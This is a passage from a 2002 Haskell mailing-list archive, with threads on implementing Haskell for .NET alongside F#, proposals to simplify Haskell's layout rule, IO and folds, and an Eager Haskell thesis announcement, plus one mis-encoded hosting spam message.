that a .NET compiler should be > under 10K lines of code if at all possible, as is the case for F#. Idle curiosity: which aspects of the Haskell language are the ones that make it complicated -- e.g., long-time stuff like lazy evaluation, typeclasses & inferrence, etc or newer stuff like functional dependencies, etc or something else entirely -- and do they only make it complicated in the context of the .NET architecture or in any implementation? (I'm just interested in that there's little chance of Haskell becoming more widespread if it's daunting enough to dissuade implementors.) ___cheers,_dave_________________________________________________________ www.cs.bris.ac.uk/~tweed/ | `It's no good going home to practise email:tweed@cs.bris.ac.uk | a Special Outdoor Song which Has To Be work tel:(0117) 954-5250 | Sung In The Snow' -- Winnie the Pooh From Jon.Fairbairn@cl.cam.ac.uk Thu May 30 15:35:28 2002 From: Jon.Fairbairn@cl.cam.ac.uk (Jon Fairbairn) Date: Thu, 30 May 2002 15:35:28 +0100 Subject: [Fwd: F#] In-Reply-To: Your message of "Thu, 30 May 2002 09:11:59 EDT." <3CF6251F.53148C7E@yale.edu> Message-ID: <16126.1022769328@cl.cam.ac.uk> > Hey Simon et al at Micro$oft, when will there be an H#? But H# is C! we don't want that, surely? :-) J=F3n -- = J=F3n Fairbairn Jon.Fairbairn@cl.cam.ac.u= k 31 Chalmers Road jf@cl.cam.ac.uk Cambridge CB1 3SZ +44 1223 570179 (after 14:00 only, please!) From Jon.Fairbairn@cl.cam.ac.uk Thu May 30 15:57:10 2002 From: Jon.Fairbairn@cl.cam.ac.uk (Jon Fairbairn) Date: Thu, 30 May 2002 15:57:10 +0100 Subject: layout rule infelicity In-Reply-To: Your message of "Thu, 30 May 2002 12:42:11 +0200." <3CF60203.93777A54@tzi.de> Message-ID: <16304.1022770630@cl.cam.ac.uk> > I like layout but I think the existing rules are too > complicated. Unfortunat ely it's difficult to do anything > with them without breaking vast swathes of existing code, > so we'll just have to put up with them. Well, there's two things to consider: Haskell 98, which probably shouldn't change, and extended Haskell, which probably should. Especially if we can make the rules both simpler and better. > The reason I think layout is better than using {'s and ,'s is that huma= ns > use the layout to group the structure anyway, which means you can have = > confusing situations where a structure looks alright to a human but not= > to a computer. Which is exactly the problem with the programme I posted. Having thought about it a bit, it strikes me that the particular problem is the insertion of a closing brace. =46rom the human reader's point of view, there's no visual equivalent of the closing brace in the example: > possible_int =3D do skip_blanks > fmap Just int > +++ (literal "-" `as` Nothing) What happens is that a semicolon is inserted because the indentation is the same as the previous line -- that's fair enough, subject to some quibbles about treating all expressions the same -- but then the +++ is a syntax error unless a closing brace is inserted. Visually, the equivalent of a closing brace is when indentation is less (to my eye it ought to be right down to where the 'do' is and inbetween be an error). What's wrong with the notion that closing braces should only be inserted when the indentation is less (or the file ends)? This would reject some programmes, but only ones where the appearance is misleading. So = > possible_int =3D do skip_blanks > fmap Just int > +++ (literal "-" `as` Nothing) > whatever ... parses as = > possible_int =3D do {skip_blanks > ;fmap Just int > +++ (literal "-" `as` Nothing) > } > whatever ... and > possible_int =3D do skip_blanks > fmap Just int > +++ (literal "-" `as` Nothing) > whatever ... parses as = > possible_int =3D do {skip_blanks > ;fmap Just int > ;+++ (literal "-" `as` Nothing) > } > whatever ... and then gives a syntax error but = > possible_int =3D do skip_blanks > fmap Just int > +++ (literal "-" `as` Nothing) > whatever ... parses as = > possible_int =3D do {skip_blanks > ;fmap Just int > } > +++ (literal "-" `as` Nothing) > whatever ... Which is just about acceptable to me, because the +++ does stick out, though I'd prefer that one to be rejected too. I wasn't fit enough to follow the earlier discussions of the layout rule, so I'm not sure how this interacts with previous awkward cases. I'd be happiest if we could come up with a rule that didn't involve sticking in braces and semicolons because it won't parse otherwise. Can someone remind me why the "A close brace is also inserted whenever the syntactic category containing the layout list ends" part of the rule is there? J=F3n -- = J=F3n Fairbairn Jon.Fairbairn@cl.cam.ac.u= k 31 Chalmers Road jf@cl.cam.ac.uk Cambridge CB1 3SZ +44 1223 570179 (after 14:00 only, please!) From lennart@augustsson.net Thu May 30 16:05:34 2002 From: lennart@augustsson.net (Lennart Augustsson) Date: Thu, 30 May 2002 11:05:34 -0400 Subject: layout rule infelicity References: <16304.1022770630@cl.cam.ac.uk> Message-ID: <3CF63FBE.9F43286A@augustsson.net> Jon Fairbairn wrote: > > I wasn't fit enough to follow the earlier discussions of the > layout rule, so I'm not sure how this interacts with > previous awkward cases. I'd be happiest if we could come up > with a rule that didn't involve sticking in braces and > semicolons because it won't parse otherwise. Can someone > remind me why the "A close brace is also inserted whenever > the syntactic category containing the layout list ends" part > of the rule is there? It's so you can write let x = 2+2 in x*x (and similar things) I think this inserting a '}' when there would otherwise have been a syntax error is a terrible mistake. It makes it almost impossible to implement correctly, and to understand. But it's with us now in H98. -- Lennart From afie@cs.uu.nl Thu May 30 16:09:49 2002 From: afie@cs.uu.nl (Arjan van IJzendoorn) Date: Thu, 30 May 2002 17:09:49 +0200 Subject: layout rule infelicity References: <16304.1022770630@cl.cam.ac.uk> Message-ID: <016e01c207ec$0c3d85b0$ec50d383@sushi> > Can someone remind me why the "A close brace is also inserted whenever > the syntactic category containing the layout list ends" part > of the rule is there? x = (3, case True of True -> 4) The ')' ends the syntactic category 'tuple' Arjan From Jon.Fairbairn@cl.cam.ac.uk Thu May 30 16:11:04 2002 From: Jon.Fairbairn@cl.cam.ac.uk (Jon Fairbairn) Date: Thu, 30 May 2002 16:11:04 +0100 Subject: IO and fold (was Re: fold on Monad? ) In-Reply-To: Your message of "Thu, 30 May 2002 10:25:27 BST." <003101c207bb$f010b220$ae1ffea9@Standard> Message-ID: <16359.1022771464@cl.cam.ac.uk> > >Yes you can define it, = > = > And you can, as well. Man sollte sich nicht darauf verlassen, da=DF ein Englander "man" verwendet, wenn es angebraucht w=E4re=B9. > That's how common idioms come into being; > there's no special magic about the folds already in existence. Well, my point is that there is -- indeed some ways of defining the type for lists use a fold as the starting point. I mentioned the lack here because I think there is some deeper structure that someone cleverer than me may be able to see. > = > >It seems to me that there's something odd about the way the > >IO monad interacts with bulk operations on files. = > = > That may be more related to IO than to the monadic approach > to it = Yes. Hence the change of subject line. = > >In particular, it seems odd that getContents should ever be the > >easiest way of tackling something, = > = > Who says that? I did! I think getContents is a klugey hangover from stream based I/O, and the existence of "semi-closed handles" supports that, so I'm hoping that people might become interested in looking at the question. > >One of the great things about fold is that you don't have to > >code the test for the end: it's encapsulated in the > >higher-order function. Shouldn't there be the same for IO? > = > Isn't it? > = > getContents =3D foldX (++) "" -- we drop the newlines here.. > getLines =3D foldX (:) [] > = > No eof-testing in sight. Sure, once we've defined foldX, but then we need to know whether it really is a fold &c. I should remember to make my messages to the list less indirect. > So we've mostly got a fold lifted into the io-monad, with getLine > delivering the "head" (and implicitly truncating further input to > the "tail"). What more do you want?-) Theory! That's what I want! Cheers, J=F3n 1. I had to get help with this; perhaps it would have been better to leave my numerous mistakes in it! -- = J=F3n Fairbairn Jon.Fairbairn@cl.cam.ac.u= k 31 Chalmers Road jf@cl.cam.ac.uk Cambridge CB1 3SZ +44 1223 570179 (after 14:00 only, please!) From ger@tzi.de Thu May 30 16:18:04 2002 From: ger@tzi.de (George Russell) Date: Thu, 30 May 2002 17:18:04 +0200 Subject: layout rule infelicity References: <16304.1022770630@cl.cam.ac.uk> <3CF63FBE.9F43286A@augustsson.net> Message-ID: <3CF642AB.1EF31A01@tzi.de> Jon Fairbairn wrote [snip] > Well, there's two things to consider: Haskell 98, which > probably shouldn't change, and extended Haskell, which > probably should. Especially if we can make the rules both > simpler and better. [snip] How can I resist? I proposed the following revised layout rule some time ago in a message to the Twa Simons. Note that unlike the standard Haskell layout rules it does not need to read the parser's mind. Of course the problem is that while it should work fine for the way I lay out Haskell, it might not work for other people. We represent the lines in a file in a tree like structure: data Grouped line = Grouped line [Grouped line] The meaning of Grouped A lines is a line A, followed by a list of groups, each beginning at the same deeper ind entation. So for example A B C D would go to something like Grouped A [Grouped B [Grouped C []],Grouped D []] In the code I've written A B C produces an error message, but on second thoughts I think the best behaviour wou ld be to treat it like A ++ B C though it's too late to code that now . . . The layout processor would group the lines according to this algorithm. It woul d then output the result of the grouping. When it came to Grouped first rest it would determine if the last token of first is "do", "of", "where" or "let", and rest does _not_ begin with a "{" token. If both these conditions were satis fied, it would output "{" before, ";" inbetween elements, and "}" after when outputting t he "rest" list. This seems to me to solve most of the fundamental problems, and be somewhat more intuitive than the existing algorithm. It would behave differently in that do if test then do act1 act2 else do act3 act4 is legal. But it would also be necessary to alter the context-free-syntax so th at (1) the contents of the module were not separated by ";"'s, but by each being a single item in the [Grouped line] list. (The old where {decl1 ; decl2 ; . . . ; decln} syntax would probably have to remain, for compatibility reasons). (2) single-line forms without braces, like "let a = 5 in a+a" work. This is only a first approximation, in that do if test then do act1 act2 else do act3 act4 isn't legal. Perhaps one way of fixing this is to modify the layout algorithm s o that tokens such as "then", "else", "in" and ")" before which a semicolon can't make any sense anyway, get tagged onto the previous group if that began at the same column as t hey did. I don't claim this as the perfect solution. But since layout is something which is rather confusing and at the moment seems to have distinctly rough edges, it might be wo rthwhile experimenting with something like this, to see how much code it would break From Jon.Fairbairn@cl.cam.ac.uk Thu May 30 16:19:17 2002 From: Jon.Fairbairn@cl.cam.ac.uk (Jon Fairbairn) Date: Thu, 30 May 2002 16:19:17 +0100 Subject: layout rule infelicity In-Reply-To: Your message of "Thu, 30 May 2002 17:09:49 +0200." <016e01c207ec$0c3d85b0$ec50d383@sushi> Message-ID: <16431.1022771957@cl.cam.ac.uk> I wrote: > > Can someone remind me why the "A close brace is also inserted wheneve= r > > the syntactic category containing the layout list ends" part > > of the rule is there? Lennart wrote: > It's so you can write > let x =3D 2+2 in x*x > (and similar things) and Arjan van IJzendoorn wrote: > x =3D (3, case True of = > True -> 4) > = > The ')' ends the syntactic category 'tuple' So we get all this misery just so that people can cram things onto fewer lines? > let x =3D 2+2 in x*x could be > let {x =3D 2+2} in x*x or > let x =3D 2+2 > in x*x and = > x =3D (3, case True of = > True -> 4 > ) would be fine. I'd like to see a "-fuse-simpler-layout-rule"=B9 option on the compilers. . . J=F3n 1. Why "-f" anyway? It took me ages to work out what "-fallow-overlapping-instances" meant -- I wondered how "fallow" could apply to overlapping instances. -- = J=F3n Fairbairn Jon.Fairbairn@cl.cam.ac.u= k 31 Chalmers Road jf@cl.cam.ac.uk Cambridge CB1 3SZ +44 1223 570179 (after 14:00 only, please!) From sof@galois.com Thu May 30 16:20:33 2002 From: sof@galois.com (Sigbjorn Finne) Date: Thu, 30 May 2002 08:20:33 -0700 Subject: [Fwd: F#] Message-ID: <010001c207ed$8a9a8060$1e32a8c0@sofxp> Paul Hudak paul.hudak@yale.edu writes: > > Hey Simon et al at Micro$oft, when will there be an H#? > (Ok, I'll settle for Haskell.NET :-) There's hugs98.net and it's with us now: http://galois.com/~sof/hugs98.net/ --sigbjorn From dsyme@microsoft.com Thu May 30 16:52:25 2002 From: dsyme@microsoft.com (Don Syme) Date: Thu, 30 May 2002 08:52:25 -0700 Subject: [Fwd: F#] Message-ID: Hey Sigbjorn, that looks great! I'll look forward to trying it out. Perhaps when the source release is available someone could look at getting hugs98.net to be able to interop. with ILX components as well, making combined F#/hugs98.net apps feasible. I'm one who believe both Haskell and ML have their place :-) Best wishes, Don -----Original Message----- From: Sigbjorn Finne [mailto:sof@galois.com]=20 Sent: 30 May 2002 16:21 To: haskell@haskell.org Cc: paul.hudak@yale.edu Subject: Re: [Fwd: F#] Paul Hudak paul.hudak@yale.edu writes: >=20 > Hey Simon et al at Micro$oft, when will there be an H#? > (Ok, I'll settle for Haskell.NET :-) There's hugs98.net and it's with us now: http://galois.com/~sof/hugs98.net/ --sigbjorn _______________________________________________ Haskell mailing list Haskell@haskell.org http://www.haskell.org/mailman/listinfo/haskell From dsyme@microsoft.com Thu May 30 17:08:00 2002 From: dsyme@microsoft.com (Don Syme) Date: Thu, 30 May 2002 09:08:00 -0700 Subject: [Fwd: F#] Message-ID: Sigbjorn has already shown how a non-IL-generating approach is possible. I think a simple implementation of a Haskell.NET compiling to IL is feasible, especially if you're willing to do the interop with .NET components by extending the language as with F# or SML.NET. It's more that GHC is a bit of a complex point to start from. Of course doing a full Haskell implementation from scratch requires an intimate knowledge of all the features you mention, and is the sort of thing one only tends to get right on the second or third time you do it. And getting top-notch performance is obviously always a huge challenge for Haskell, and you can't play some common implementation tricks when compiling to IL. But the only truly serious complications added by .NET itself are (a) the general problem of Haskell interop with imperative libraries, requiring you to reach for monads quite often (or to wrap the libraries yourself) and (b) the well-known problems of combining type inference, subtyping and overloading, to which you can take a high-tech approach by using a fancy constraint or inference system, or a low-tech approach by requiring the programmer to add a few more type annotations than they may wish. F# takes the latter approach. IMHO problem (a) will always be the thing that stops Haskell becoming very very big. But then being non-imperative it's also its main selling point... Best wishes, Don -----Original Message----- From: D. Tweed [mailto:tweed@compsci.bristol.ac.uk]=20 Sent: 30 May 2002 15:25 To: Don Syme Cc: Paul Hudak; haskell Subject: RE: [Fwd: F#] On Thu, 30 May 2002, Don Syme wrote: > going to provide. Given the general complexity of GHC, the longish > compile times and the reliance of the GHC library implementation on C > and C libraries in so many places I decided to implement a simpler > language from scratch. I like the idea that a .NET compiler should be > under 10K lines of code if at all possible, as is the case for F#. Idle curiosity: which aspects of the Haskell language are the ones that make it complicated -- e.g., long-time stuff like lazy evaluation, typeclasses & inferrence, etc or newer stuff like functional dependencies, etc or something else entirely -- and do they only make it complicated in the context of the .NET architecture or in any implementation? (I'm just interested in that there's little chance of Haskell becoming more widespread if it's daunting enough to dissuade implementors.) ___cheers,_dave_________________________________________________________ www.cs.bris.ac.uk/~tweed/ | `It's no good going home to practise email:tweed@cs.bris.ac.uk | a Special Outdoor Song which Has To Be work tel:(0117) 954-5250 | Sung In The Snow' -- Winnie the Pooh From paul.hudak@yale.edu Thu May 30 18:04:16 2002 From: paul.hudak@yale.edu (Paul Hudak) Date: Thu, 30 May 2002 13:04:16 -0400 Subject: [Fwd: F#] References: Message-ID: <3CF65B90.317571C5@yale.edu> Hi Don -- Thanks for all the informative stuff regarding FP implementations on .NET. However I am a little surprised by one thing you say: > ... But the only truly serious complications added by .NET > itself are (a) the general problem of Haskell interop with imperative > libraries, requiring you to reach for monads quite often (or to wrap > the libraries yourself) and (b) ... > > IMHO problem (a) will always be the thing that stops Haskell becoming > very very big. But then being non-imperative it's also its main > selling point... Are you saying that Haskell users would reject this? (to which I would disagree, since that's what we would expect) Or new users? (to which I would say that the jury is out) I would think that the biggest impediment to Haskell.NET would be efficiency, in both the generated code (primarily because of lazy evaluation) and in compile time (at least with an optimizing compiler such as GHC). -Paul From dsyme@microsoft.com Thu May 30 18:30:29 2002 From: dsyme@microsoft.com (Don Syme) Date: Thu, 30 May 2002 10:30:29 -0700 Subject: [Fwd: F#] Message-ID: > > ... But the only truly serious complications added by .NET > > itself are (a) the general problem of Haskell interop with imperative > > libraries, requiring you to reach for monads quite often (or to wrap > > the libraries yourself) and (b) ... > > > > IMHO problem (a) will always be the thing that stops Haskell becoming > > very very big. But then being non-imperative it's also its main > > selling point... >=20 > Are you saying that Haskell users would reject this? (to which I would > disagree, since that's what we would expect) Or new users? (to which I > would say that the jury is out) I was meaning "hundreds of thousands of new users", which is why I put "very very big". There's still plenty of scope for Haskell to become just "very big" without fully solving this problem. > I would think that the biggest impediment to Haskell.NET would be > efficiency, in both the generated code (primarily because of lazy > evaluation) and in compile time (at least with an optimizing compiler > such as GHC). These are problems, though not unique to a Haskell.NET. You are right that the code performance of Hasekll.NET will not typically be as good as say GHC and this may require more optimizations that take considerable time. But I think a clean re-implementation of a judiciously chosen subset of the GHC optimizations with a focus on getting good compilation speeds (i.e. the same agenda that the Caml team have followed) would see you over this hurdle. You'd be able to get the performance needed to attract new programmers, though of course other Haskell compiler writers may still claim the overall performance crown. Best wishes, Don From jmaessen@mit.edu Thu May 30 18:48:21 2002 From: jmaessen@mit.edu (Jan-Willem Maessen) Date: Thu, 30 May 2002 13:48:21 -0400 Subject: Thesis on efficiently Eager Haskell Message-ID: <200205301748.NAA01056@life-savers.lcs.mit.edu> My dissertation, "Hybrid Eager and Lazy Evaluation for Efficient Compilation of Haskell", is now available on the web: http://www.csg.lcs.mit.edu/~earwig/thesis.html Abstract (1st paragraph only): The advantage of a non-strict, purely functional language such as Haskell lies in its clean equational semantics. However, lazy implementations of Haskell fall short: they cannot express tail recursion gracefully without annotation. We describe resource-bounded hybrid evaluation, a mixture of strict and lazy evaluation, and its realization in Eager Haskell. From the programmer's perspective, Eager Haskell is simply another implementation of Haskell with the same clean equational semantics. Iteration can be expressed using tail recursion, without the need to resort to program annotations. Under hybrid evaluation, computations are ordinarily executed in program order just as in a strict functional language. When particular stack, heap, or time bounds are exceeded, suspensions are generated for all outstanding computations. These suspensions are re-started in a demand-driven fashion from the root. I'm presently working hard on making a production-quality version of the Eager Haskell compiler. If you have any questions about Eager Haskell, or would like to see a pre-release version of the compiler along with the programs I used as benchmarks, drop me a line. A full release of the unified pH / EH compiler is slated for mid-August. -Jan-Willem Maessen From chak@cse.unsw.edu.au Fri May 31 02:27:00 2002 From: chak@cse.unsw.edu.au (Manuel M. T. Chakravarty) Date: Fri, 31 May 2002 11:27:00 +1000 Subject: [Fwd: F#] In-Reply-To: References: Message-ID: <20020531112700B.chak@cse.unsw.edu.au> "Don Syme" wrote, > And getting top-notch performance is obviously always a huge challenge > for Haskell, and you can't play some common implementation tricks when > compiling to IL. But the only truly serious complications added by .NET > itself are (a) the general problem of Haskell interop with imperative > libraries, requiring you to reach for monads quite often (or to wrap the > libraries yourself) [..] > IMHO problem (a) will always be the thing that stops Haskell becoming > very very big. But then being non-imperative it's also its main selling > point... So, you are saying that Haskell's problem with .NET is that it is not imperative, but at the same time you don't want to resort to Haskell's imperative sublanguage (the IO monad). I don't quite understand this. Personally, I find[1] Haskell to be very pleasant for imperative programming. In fact, I agree with SPJ, who wrote[2] (slightly provocatively), Haskell is the world's finest imperative programming language. Cheers, Manuel [1] After having written piles of low-level imperative code in Haskell. [2] In ``Tackling the Awkward Squad'' From chak@cse.unsw.edu.au Fri May 31 01:54:10 2002 From: chak@cse.unsw.edu.au (Manuel M. T. Chakravarty) Date: Fri, 31 May 2002 10:54:10 +1000 Subject: [Fwd: F#] In-Reply-To: References: Message-ID: <20020531105410E.chak@cse.unsw.edu.au> "D. Tweed" wrote, > On Thu, 30 May 2002, Don Syme wrote: > > > going to provide. Given the general complexity of GHC, the longish > > compile times and the reliance of the GHC library implementation on C > > and C libraries in so many places I decided to implement a simpler > > language from scratch. I like the idea that a .NET compiler should be > > under 10K lines of code if at all possible, as is the case for F#. > > Idle curiosity: which aspects of the Haskell language are the ones that > make it complicated -- e.g., long-time stuff like lazy evaluation, > typeclasses & inferrence, etc or newer stuff like functional dependencies, > etc or something else entirely -- and do they only make it complicated in > the context of the .NET architecture or in any implementation? (I'm just > interested in that there's little chance of Haskell becoming more > widespread if it's daunting enough to dissuade implementors.) I think, the probelm is .NET, not Haskell. .NET just doesn't deliver on its promise (= marketing hype) of language neutrality. The problem is that .NET is language neutral only as long as all languages are sufficiently close to C#. Not just Haskell, but widely used languages like C++ run into this problem, too (see .NET's Managed C++). Cheers, Manuel From andrew@bromage.org Fri May 31 05:54:34 2002 From: andrew@bromage.org (Andrew J Bromage) Date: Fri, 31 May 2002 14:54:34 +1000 Subject: layout rule infelicity In-Reply-To: <200205301110.NAA11144@isun11.informatik.uni-leipzig.de> References: <200205300946.CAA27078@mail4.halcyon.com> <200205301110.NAA11144@isun11.informatik.uni-leipzig.de> Message-ID: <20020531045434.GA32361@smtp.alicorna.com> G'day all. On Thu, May 30, 2002 at 01:10:03PM +0200, Johannes Waldmann wrote: > Python has it as well (they stole it from Haskell?) Python's layout rule looks more like Occam's than Haskell's, to my eyes. Aside: Was Occam the first language of the post-punched-card era to use layout as syntax? > while we're at it - what's the deal with type inference? > > sometimes I think it is *really bad* language design > if the program may contain untyped declarations of identifiers. Presumably you're not suggesting requiring type declarations in every pattern match too? I think it's something to do with where you draw the line. You could theoretically require type declarations: - Nowhere, unless the type inference mechanism can't cope with it. - Module interfaces. - Top-level declarations. - "where" clauses too. - "let" - Everywhere that a variable could be defined, including case-expressions, list comprehension generators and lambdas. - Every subexpression. I personally think it's wrong not to require explicit type declarations for everything exported from a module for engineering reasons. Sane separate compilation is important, IMO. Cheers, Andrew Bromage From avv@quasar.ipa.nw.ru Fri May 31 05:55:49 2002 From: avv@quasar.ipa.nw.ru (Alexander V. Voinov) Date: Thu, 30 May 2002 21:55:49 -0700 Subject: layout rule infelicity References: <200205300946.CAA27078@mail4.halcyon.com> <200205301110.NAA11144@isun11.informatik.uni-leipzig.de> <20020531045434.GA32361@smtp.alicorna.com> Message-ID: <3CF70255.814AFF17@quasar.ipa.nw.ru> Hi All, Andrew J Bromage wrote: > > G'day all. > > On Thu, May 30, 2002 at 01:10:03PM +0200, Johannes Waldmann wrote: > > > Python has it as well (they stole it from Haskell?) > > Python's layout rule looks more like Occam's than Haskell's, to my eyes. > > Aside: Was Occam the first language of the post-punched-card era to use > layout as syntax? I fuzzily recall that SICStus Prolog silently tolerated omissions of commas and dots, allowing for: p(X) :- g(X,Y) h(Y) p(X) g(Y,Z) :- ... But Haskell already existed at this point. Alexander From syhua3000@9dns.net Fri May 31 09:48:20 2002 From: syhua3000@9dns.net (syhua3000) Date: Fri, 31 May 2002 04:48:20 -0400 (EDT) Subject: ×ð¾´µÄÐÂÀϿͻ§£º Message-ID: <20020531084820.92A38421F21@www.haskell.org> ×ð¾´µÄÐÂÀϿͻ§£º ÄúºÃ£¡ Êý×ÖÒýÇæ(www.9dns.net)ΪÁË´ðлÄúÒÔ¼°¹ã´ó¿Í»§¶ÔÎÒ˾µÄÖ§³ÖºÍÐÅÈΣ¬ÎÒÃÇÔÙ´ÎÌá¸ßоɷþÎñÆ÷µÄÐÔÄÜ£¬ÈÃÄúµÄÍøÕ¾¿Õ¼äÔË×÷¸ü¿ì¡¢¸ü Îȶ¨¡¢¸ü°²È«£¬Í¬Ê±ÎÒÃÇ»¹½µµÍÁ˲úÆ· ¼Û¸ñ£¬ÈÃÄúÏíÊܸüÓÅÖʵķþÎñ¡££¨ÎÒË¾ÍøÕ¾ÏÖÒÑȫиİ棺www.9dns.net£© 200M HTML¿Õ¼ä+1¸ö¹ú¼ÊÓòÃû£¬¼Û¸ñ150Ôª/Äê 100M¿Õ¼ä(Ö§³ÖASP)+100MÆóÒµÓʾÖ+20M ACCESSÊý¾Ý¿â+1¸ö¹ú¼ÊÓòÃû£¬ ½öÊÛ288Ôª/Äê 200M¿Õ¼ä(Ö§³ÖASP)+200MÆóÒµÓʾÖ+30M AccessÊý¾Ý¿â+1¸ö¹ú¼ÊÓòÃû£¬ ½öÊÛ338Ôª/Äê ÒÔÉÏÖ»ÊÇÁãÊÛ¼Û¸ñ¡£»¶Ó­Ñ¡¹º£¬Ò²»¶Ó­Äú³ÉΪÎÒÃǵĴúÀíÉÌ! ÎÒÃÇ»¹Óиü¶àµÄÀñ°üºÍÓŻݼ۸ñ£¬ÏêÇéÇë½ø http://www.9dns.net ¡£ ÏÃÃÅÊý×ÖÒýÇæÍøÂç¼¼ÊõÓÐÏÞ¹«Ë¾ --------------------------------------------------------------- ·ÐµãȺ·¢Óʼþ,À´×ÔÈí¼þ¹¤³Ìר¼ÒÍø(http://www.21cmm.com) ½øCMMÍøÐ£(http://www.21cmm.com)£¬³ÉÏîÄ¿¹ÜÀíר¼Ò From ketil@ii.uib.no Fri May 31 10:13:31 2002 From: ketil@ii.uib.no (Ketil Z. Malde) Date: 31 May 2002 11:13:31 +0200 Subject: layout rule infelicity In-Reply-To: <16431.1022771957@cl.cam.ac.uk> References: <16431.1022771957@cl.cam.ac.uk> Message-ID: Jon Fairbairn writes: > Why "-f" anyway? It took me ages to work out what > "-fallow-overlapping-instances" meant -- I wondered how > "fallow" could apply to overlapping instances. I suppose it's a GCCism, where options starting with -f specifiy *f*lags. (Which doesn't seem to apply to GHC, unless there's a -fno-allow... (of -fdont-allow...?)) -kzm -- If I haven't seen further, it is by standing in the footprints of giants From tweed@cs.bris.ac.uk Fri May 31 10:35:18 2002 From: tweed@cs.bris.ac.uk (D. Tweed) Date: Fri, 31 May 2002 10:35:18 +0100 (BST) Subject: [Fwd: F#] In-Reply-To: <20020531105410E.chak@cse.unsw.edu.au> Message-ID: On Fri, 31 May 2002, Manuel M. T. Chakravarty wrote: > I think, the probelm is .NET, not Haskell. .NET just > doesn't deliver on its promise (= marketing hype) of > language neutrality. The problem is that .NET is language > neutral only as long as all languages are sufficiently close > to C#. Not just Haskell, but widely used languages like C++ > run into this problem, too (see .NET's Managed C++). That may (or may not) be the case; I don't know. I was more wondering about `what really makes it so daunting for some working at a Microsoft (and who thus has more knowledge available about .NET than external people) to implement a Haskell for .NET, especially given the existance of F#?' One of the thoughts behind this was the knowledge that it's just the two Simons' at Microsoft Cambridge now maintaining/developing GHC; _if it were possible_ (and I'll quite concede it may not be) to leverage work on .NET for other purposes (particularly if .NET actually fulfills one of its `promises' to be OS neutral) to decrease the amount of work to keep one of the two Haskell remaining compilers (GHC, NHC) viable and up-to-date. ___cheers,_dave_________________________________________________________ www.cs.bris.ac.uk/~tweed/ | `It's no good going home to practise email:tweed@cs.bris.ac.uk | a Special Outdoor Song which Has To Be work tel:(0117) 954-5250 | Sung In The Snow' -- Winnie the Pooh From chak@cse.unsw.edu.au Fri May 31 12:05:47 2002 From: chak@cse.unsw.edu.au (Manuel M. T. Chakravarty) Date: Fri, 31 May 2002 21:05:47 +1000 Subject: [Fwd: F#] In-Reply-To: References: <20020531105410E.chak@cse.unsw.edu.au> Message-ID: <20020531210547V.chak@cse.unsw.edu.au> "D. Tweed" wrote, > One of the thoughts behind this was the knowledge that it's just the two > Simons' at Microsoft Cambridge now maintaining/developing GHC; _if it were > possible_ (and I'll quite concede it may not be) to leverage work on .NET > for other purposes (particularly if .NET actually fulfills one of its > `promises' to be OS neutral) to decrease the amount of work to keep one of > the two Haskell remaining compilers (GHC, NHC) viable and up-to-date. As I see it, .NET is just generating more work. I seriously doubt that the efficiency of a .NETed Haskell would be anywhere close to what GHC delivers today. This is judging from the various attempts to compile Haskell to JVM (sure there are some differences between JVM and .NET, but I am pretty sceptical that this will significantly close the gap). What we need is some seriously new technology. See http://www.cse.unsw.edu.au/~chak/project/poc/ for some ideas. Cheers Manuel From rjljr2@yahoo.com Fri May 31 12:14:34 2002 From: rjljr2@yahoo.com (Ronald Legere) Date: Fri, 31 May 2002 04:14:34 -0700 (PDT) Subject: [Fwd: F#] In-Reply-To: Message-ID: <20020531111434.10708.qmail@web10001.mail.yahoo.com> I wonder if ghc is the right place to start for H#/haskell.net / whatever? GHC is a (wonderfully) complex beast... it seems to have every feature anyone ever thought to add to haskell (esp in terms of the type system). Maybe one should start with haskell98 + ffi or whatever you need to add to get .net interop? Would that be easier? The problem is that ghc (seems) to be a research language aimed at playing with all kinds of possible type systems and such (which I am not saying is a bad thing..). Of course, I dont really know to much about how ghc is implemented... maybe the bits that do the fancy stuff is easy :) Cheers! Ron Haskell Fan. __________________________________________________ Do You Yahoo!? Yahoo! - Official partner of 2002 FIFA World Cup http://fifaworldcup.yahoo.com From simonpj@microsoft.com Fri May 31 15:31:01 2002 From: simonpj@microsoft.com (Simon Peyton-Jones) Date: Fri, 31 May 2002 07:31:01 -0700 Subject: [Fwd: F#] Message-ID: <1113DDB24D4A2841951BFDF86665EE1901041FF2@RED-MSG-10.redmond.corp.microsoft.com> | Idle curiosity: which aspects of the Haskell language are the=20 | ones that make it complicated -- e.g., long-time stuff like=20 | lazy evaluation, typeclasses & inferrence, etc or newer stuff=20 | like functional dependencies, etc or something else entirely=20 | -- and do they only make it complicated in the context of the=20 | .NET architecture or in any implementation? General remarks about targetting .NET from GHC. * There is no reason in principle why one can't write a back end for GHC to generate .NET IL. =20 * Generating *verifiable* IL is noticeably harder: you have to=20 take much more care; to deal with parametric polymorphism you need Generic IL, which isn't "out" yet; and even then, higher kinded type variables are a serious problem. Being verifiable almost=20 certainly requires some runtime checked type casts, which hurt performance -- and reducing them to a minimum complicates the compiler. * My conclusion: best plan is to generate unverifiable IL, and run it unverified. Situation is then just like an existing code generator: you have to trust the compiler. But it's fast and it's much simpler. * The resulting code will still run quite a bit slower than GHC-complied code. So why would anyone want to use it? Presumably, to get access to the .NET libraries. So that has to be very convenient. Tools are needed to read .NET library meta-data and generate impedence matching glue to make them easily callable from Haskell. Haskell needs some new 'foreign import' stuff to make it easy to call the libraries. There's a big design space here about how much to extend Haskell to make calling .NET convenient. * GHC supports concurrency, exceptions, weak pointers, foreign calls, etc, etc. All these need to be mapped onto .NET. Some might not fit well; for example, Concurrent Haskell assumes extremely lightweight concurrency, whereas .NET threads are OS threads; and asynchronous exceptions might be tricky too. * GHC comes with a large collection of libraries of its own. These need to be still available in the .NET version, so the .NET implementation of GHC needs to be pretty fully-featured (because the libraries use a lot of features). What all this means is that GHC.NET is a lot more than just a code generator. That is, I think, what Don meant when he said that GHC is complicated. (In our defence, it is the very fact that GHC is a rich system that makes it useful. Its complexity is not gratuitous.) =20 Part of my reason for writing this is to encourage anyone out there to take up the challenge. There's nothing too difficult -- it's "just work". Simon and I don't have immediate plans to do anything about this, but we'd be delighted if someone else did. Congratulations to Sigbjorn to doing a great job with Hugs. =20 Simon From fjh@cs.mu.oz.au Fri May 31 15:56:24 2002 From: fjh@cs.mu.oz.au (Fergus Henderson) Date: Sat, 1 Jun 2002 00:56:24 +1000 Subject: [Fwd: F#] In-Reply-To: <1113DDB24D4A2841951BFDF86665EE1901041FF2@RED-MSG-10.redmond.corp.microsoft.com>; from simonpj@microsoft.com on Fri, May 31, 2002 at 07:31:01AM -0700 References: 